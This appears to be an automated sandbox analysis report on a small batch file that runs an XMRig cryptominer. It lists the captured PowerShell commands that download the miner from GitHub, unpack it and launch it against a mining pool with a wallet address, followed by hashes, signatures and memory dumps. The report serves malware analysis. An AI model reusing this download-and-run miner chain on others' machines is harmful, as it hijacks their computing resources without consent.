Analysis

  • max time kernel
    1788s
  • max time network
    1798s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31/12/2023, 06:24

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2768
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1600
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2840

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          42d4b1d78e6e092af15c7aef34e5cf45

          SHA1

          6cf9d0e674430680f67260194d3185667a2bb77b

          SHA256

          c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

          SHA512

          d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          e35a7e230f2fa5edf57372e8b1fc6d73

          SHA1

          d00de3f50bc7c9485a121c9255f01ec81208805a

          SHA256

          9becfa7a80711aee25c82b6a219ab6e8e43d0fbfe16d5e55d528275814763807

          SHA512

          0ecd6f8d76268c5e031590934ac005306dd4bd0cc465886c0669d19a500bc4d1d18e2ce242beae1ee4d596ca3d3a859fff35aaa74ef4180d91b9060845578ee0

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fwiiitb2.1ax.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          55KB

          MD5

          443e2dce7eb7547b2c7b016ac9804c49

          SHA1

          09f9f9ddc1fa4817d7acd5f2aa1f39913ae89cff

          SHA256

          72dadfaeed5d584a4378e610b805cc97a575074424037c07a4432869c97cfe70

          SHA512

          c8340c6546b6b08df8c6d13659ec41766386a4bb856e8be2301886dcebc392013b25796726bd6f164270a1e6df6c530e1e7e6344bc0530ded02f11292982eb54

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          39KB

          MD5

          3f97239ca1f4e6881af170b85a503465

          SHA1

          d214db1fbaf3868da31ace13276398fb6710f02a

          SHA256

          18637361b278ec315ad937d4aa391236ed8f9e3ee93806f44127f87a129b4e65

          SHA512

          4009972c2957190ad6c529e0e0bc317541abe8087cf6658b0af951f59cac78933e1c2fafad32ac60cc457d2c2231677ee6261a523fc4fa48e1226d265274ffe7

        • memory/1600-41-0x00000261BE7F0000-0x00000261BE800000-memory.dmp

          Filesize

          64KB

        • memory/1600-117-0x00007FFBC54F0000-0x00007FFBC5EDC000-memory.dmp

          Filesize

          9.9MB

        • memory/1600-93-0x00000261BE980000-0x00000261BE98A000-memory.dmp

          Filesize

          40KB

        • memory/1600-80-0x00000261BE990000-0x00000261BE9A2000-memory.dmp

          Filesize

          72KB

        • memory/1600-66-0x00000261BE7F0000-0x00000261BE800000-memory.dmp

          Filesize

          64KB

        • memory/1600-40-0x00007FFBC54F0000-0x00007FFBC5EDC000-memory.dmp

          Filesize

          9.9MB

        • memory/1600-43-0x00000261BE7F0000-0x00000261BE800000-memory.dmp

          Filesize

          64KB

        • memory/2768-7-0x00000173BA290000-0x00000173BA2A0000-memory.dmp

          Filesize

          64KB

        • memory/2768-29-0x00000173BA290000-0x00000173BA2A0000-memory.dmp

          Filesize

          64KB

        • memory/2768-28-0x00000173BA290000-0x00000173BA2A0000-memory.dmp

          Filesize

          64KB

        • memory/2768-27-0x00000173BA290000-0x00000173BA2A0000-memory.dmp

          Filesize

          64KB

        • memory/2768-34-0x00007FFBC54F0000-0x00007FFBC5EDC000-memory.dmp

          Filesize

          9.9MB

        • memory/2768-26-0x00007FFBC54F0000-0x00007FFBC5EDC000-memory.dmp

          Filesize

          9.9MB

        • memory/2768-25-0x00000173BA290000-0x00000173BA2A0000-memory.dmp

          Filesize

          64KB

        • memory/2768-10-0x00000173D2B70000-0x00000173D2BE6000-memory.dmp

          Filesize

          472KB

        • memory/2768-9-0x00000173BA290000-0x00000173BA2A0000-memory.dmp

          Filesize

          64KB

        • memory/2768-6-0x00007FFBC54F0000-0x00007FFBC5EDC000-memory.dmp

          Filesize

          9.9MB

        • memory/2768-4-0x00000173D29C0000-0x00000173D29E2000-memory.dmp

          Filesize

          136KB

        • memory/2840-143-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-155-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-122-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-123-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-124-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-126-0x000001BB6C860000-0x000001BB6C880000-memory.dmp

          Filesize

          128KB

        • memory/2840-125-0x000001BB6C840000-0x000001BB6C860000-memory.dmp

          Filesize

          128KB

        • memory/2840-127-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-128-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-130-0x000001BB6C860000-0x000001BB6C880000-memory.dmp

          Filesize

          128KB

        • memory/2840-129-0x000001BB6C840000-0x000001BB6C860000-memory.dmp

          Filesize

          128KB

        • memory/2840-131-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-132-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-133-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-134-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-135-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-136-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-137-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-138-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-139-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-140-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-141-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-142-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-120-0x000001BB6B020000-0x000001BB6B040000-memory.dmp

          Filesize

          128KB

        • memory/2840-144-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-145-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-146-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-147-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-148-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-149-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-150-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-151-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-152-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-153-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-154-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-121-0x000001BB6C820000-0x000001BB6C840000-memory.dmp

          Filesize

          128KB

        • memory/2840-156-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-157-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-158-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-159-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-160-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-161-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-162-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-163-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-164-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-165-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-166-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-167-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-168-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-169-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-170-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-171-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-172-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-173-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-174-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-175-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-176-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-177-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-178-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-179-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-180-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-181-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-182-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-183-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-184-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-185-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-186-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-187-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB

        • memory/2840-188-0x00007FF6B1EA0000-0x00007FF6B29A3000-memory.dmp

          Filesize

          11.0MB